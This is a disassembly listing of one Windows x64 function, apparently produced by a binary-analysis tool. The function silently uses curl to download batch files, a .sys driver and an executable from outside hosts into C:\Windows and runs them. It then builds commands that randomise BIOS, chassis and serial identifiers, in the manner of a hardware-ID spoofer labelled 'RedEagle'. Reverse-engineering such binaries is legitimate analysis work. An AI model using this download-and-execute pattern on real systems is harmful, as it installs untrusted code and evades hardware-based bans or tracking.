Function at 0x140040b40
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0xc0
lea rcx, str.curl___silent_https:__file.garden_ZtnIm2iFxwwhEfOY_ASUSPDF2_20_1_.bat___output_C:WindowsASUSPDF2.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__clovics.org_AsusPDF.bat___output_C:WindowsAsusPDF.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__clovics.org_AsDeviceChk.sys___output_C:WindowsAsDeviceChk.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__clovics.org_AsDeviceCheck.exe___output_C:WindowsAsDeviceCheck.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov ecx, 0x70
call fcn.1400c6a44
mov r15, rax
mov qword [rsp + 0x20], rax
movdqa xmm0, xmmword [0x1400f65c0]
movdqu xmmword [rsp + 0x30], xmm0
movaps xmm0, xmmword [str.cd_C:WindowsSystem32__AsDeviceCheck__BS__Random__Random___Random__Random___Random__Random____NUL_2_1]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400f41d0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400f41e0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400f41f0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400f4200]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400f4210]
movups xmmword [rax + 0x50], xmm1
movsd xmm0, qword [0x1400f4220]
movsd qword [rax + 0x60], xmm0
movzx eax, word [0x1400f4228]
mov word [r15 + 0x68], ax
mov byte [r15 + 0x6a], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov ecx, 0x40
call fcn.1400c6a44
mov r14, rax
mov qword [rsp + 0x40], rax
movdqa xmm0, xmmword [0x1400f6570]
movdqu xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [str.cd_C:WindowsSystem32__AsDeviceCheck__SU_auto___NUL_2_1]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400f4240]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400f4250]
movups xmmword [rax + 0x20], xmm0
movsd xmm0, qword [0x1400f4260]
movsd qword [rax + 0x30], xmm0
mov eax, dword [0x1400f4268]
mov dword [r14 + 0x38], eax
mov byte [r14 + 0x3c], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov ecx, 0x70
call fcn.1400c6a44
mov rbp, rax
mov qword [rsp + 0x60], rax
movdqa xmm0, xmmword [0x1400f65c0]
movdqu xmmword [rsp + 0x70], xmm0
movaps xmm0, xmmword [str.cd_C:WindowsSystem32__AsDeviceCheck__SS__Random__Random___Random__Random___Random__Random____NUL_2_1]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400f4280]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400f4290]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400f42a0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400f42b0]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400f42c0]
movups xmmword [rax + 0x50], xmm1
movsd xmm0, qword [0x1400f42d0]
movsd qword [rax + 0x60], xmm0
movzx eax, word [0x1400f42d8]
mov word [rbp + 0x68], ax
mov byte [rbp + 0x6a], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
mov ecx, 0x70
call fcn.1400c6a44
mov rsi, rax
mov qword [rsp + 0x80], rax
movdqa xmm0, xmmword [0x1400f65c0]
movdqu xmmword [rsp + 0x90], xmm0
movaps xmm0, xmmword [str.cd_C:WindowsSystem32__AsDeviceCheck__SK__Random__Random___Random__Random___Random__Random____NUL_2_1]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400f42f0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400f4300]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400f4310]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400f4320]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400f4330]
movups xmmword [rax + 0x50], xmm1
movsd xmm0, qword [0x1400f4340]
movsd qword [rax + 0x60], xmm0
movzx eax, word [0x1400f4348]
mov word [rsi + 0x68], ax
mov byte [rsi + 0x6a], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov ecx, 0x70
call fcn.1400c6a44
mov rdi, rax
mov qword [rsp + 0xa0], rax
movdqa xmm0, xmmword [0x1400f65d0]
movdqu xmmword [rsp + 0xb0], xmm0
movaps xmm0, xmmword [str.cd_C:WindowsSystem32__AsDeviceCheck__PSN__Random__Random___Random__Random___Random__Random____NUL_2_1]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400f4360]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400f4370]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400f4380]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400f4390]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400f43a0]
movups xmmword [rax + 0x50], xmm1
movsd xmm0, qword [0x1400f43b0]
movsd qword [rax + 0x60], xmm0
movzx eax, word [0x1400f43b8]
mov word [rdi + 0x68], ax
movzx eax, byte [0x1400f43ba]
mov byte [rdi + 0x6a], al
mov byte [rdi + 0x6b], 0
mov ecx, 0x70
call fcn.1400c6a44
mov rbx, rax
movaps xmm0, xmmword [str.cd_C:WindowsSystem32__AsDeviceCheck__CS__Random__Random___Random__Random___Random__Random_____NUL_2_1]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400f43d0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400f43e0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400f43f0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400f4400]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400f4410]
movups xmmword [rax + 0x50], xmm1
movsd xmm0, qword [0x1400f4420]
movsd qword [rax + 0x60], xmm0
movzx eax, word [0x1400f4428]
mov word [rbx + 0x68], ax
movzx eax, byte [0x1400f442a]
mov byte [rbx + 0x6a], al
mov byte [rbx + 0x6b], 0
lea rcx, str.C:WindowsAsusPDF.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r9d, 0x40
lea r8, str.RedEagle
lea rdx, str.Restart_PC_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, 0x70
mov rcx, rbx
call fcn.1400c6d98
nop
mov edx, 0x70
mov rcx, rdi
call fcn.1400c6d98
nop
mov edx, 0x70
mov rcx, rsi
call fcn.1400c6d98
nop
mov edx, 0x70
mov rcx, rbp
call fcn.1400c6d98
nop
mov edx, 0x40
mov rcx, r14
call fcn.1400c6d98
nop
mov edx, 0x70
mov rcx, r15
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
jmp fcn.1400c6d98